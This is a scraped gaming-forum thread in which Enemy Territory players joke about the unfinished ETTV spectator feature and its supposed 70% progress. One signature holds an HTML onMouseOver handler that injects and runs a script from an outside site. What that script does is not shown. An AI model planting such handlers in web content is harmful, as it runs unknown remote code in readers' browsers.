ET T what?
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ET T what?
forget these silly bugfixes, get moving on ettv boys! CHOP CHOP! i don't run a programming sweat shop where you dont get paid for nothing. QUICKLY NOW.. BOLLOCKS.. MOVE IT .. PROGRAM YOUR HAPPY LITTLE FINGERS AWAY!! CHOP CHOP!
- Radeon9.8kpunk
- Posts: 164
- Joined: Sat Jul 26, 2003 7:04 pm
- Location: Illinois
But we already can play the game. ETPro 3.0.1 is plenty good enough, no need for any more "features". Without ET-TV, ET can't be taken seriously as a competitive game, it's the one essential ingredient missing. And if ET ever stops being played competitively BayonET won't help as they'll be bugger all servers left to play it on.Radeon9.8kpunk wrote:i would think playing the game would be more important than watching it.
I rather see bayonET come out first
- =FF=im2good4u
- Posts: 3821
- Joined: Wed Feb 05, 2003 7:30 am
- Location: The Netherlands, HOLLAND
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ettv already started
they even got a new modder for ettv atleast that wut iv heard
so dont worry
they even got a new modder for ettv atleast that wut iv heard
so dont worry
<a href="http://bunnyherolabs.com/adopt/showpet. ... dQ=="><img src="http://petimage.bunnyherolabs.com/adopt ... Q0dQ==.png" width="80" height="100" border="0"></a>
Well, he's working on it. So calm down and let the bunny work!
Got any old idtech3 tutorials you made or saved? Send them my way.
http://www.etdaily.com/show_news.php?news_id=63
If you're too lazy to read - according to bani it's about 70%
If you're too lazy to read - according to bani it's about 70%
- =FF=im2good4u
- Posts: 3821
- Joined: Wed Feb 05, 2003 7:30 am
- Location: The Netherlands, HOLLAND
- Contact:
they never give a status on thatjorylit wrote:i've already seen it, i meant is there more than 70% done
just like there never is a estamited time
(but i played on it today)
<a href="http://bunnyherolabs.com/adopt/showpet. ... dQ=="><img src="http://petimage.bunnyherolabs.com/adopt ... Q0dQ==.png" width="80" height="100" border="0"></a>
<table class="gen"><tr><td rowspan="2">percent complete = </td><td align="center">today - when it started</td><td rowspan="2">· 100</td></tr>
<tr><td style="border-top: 1px solid black;">when it's done - when it started</td></tr></table>
Very simple way to figure out how far along we are on any given day.
<tr><td style="border-top: 1px solid black;">when it's done - when it started</td></tr></table>
Very simple way to figure out how far along we are on any given day.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
basicly that would mean this:
<table class="gen"><tr><td rowspan="2">percent complete = </td><td align="center">today</td><td rowspan="2">· 100</td></tr>
<tr><td style="border-top: 1px solid black;">when it's done</td></tr></table>
because the "when it started" is 0 and something - 0 = still, something
and because when it's done is always 100% you finally come down to this formula:
percent complete = today
<table class="gen"><tr><td rowspan="2">percent complete = </td><td align="center">today</td><td rowspan="2">· 100</td></tr>
<tr><td style="border-top: 1px solid black;">when it's done</td></tr></table>
because the "when it started" is 0 and something - 0 = still, something
and because when it's done is always 100% you finally come down to this formula:
percent complete = today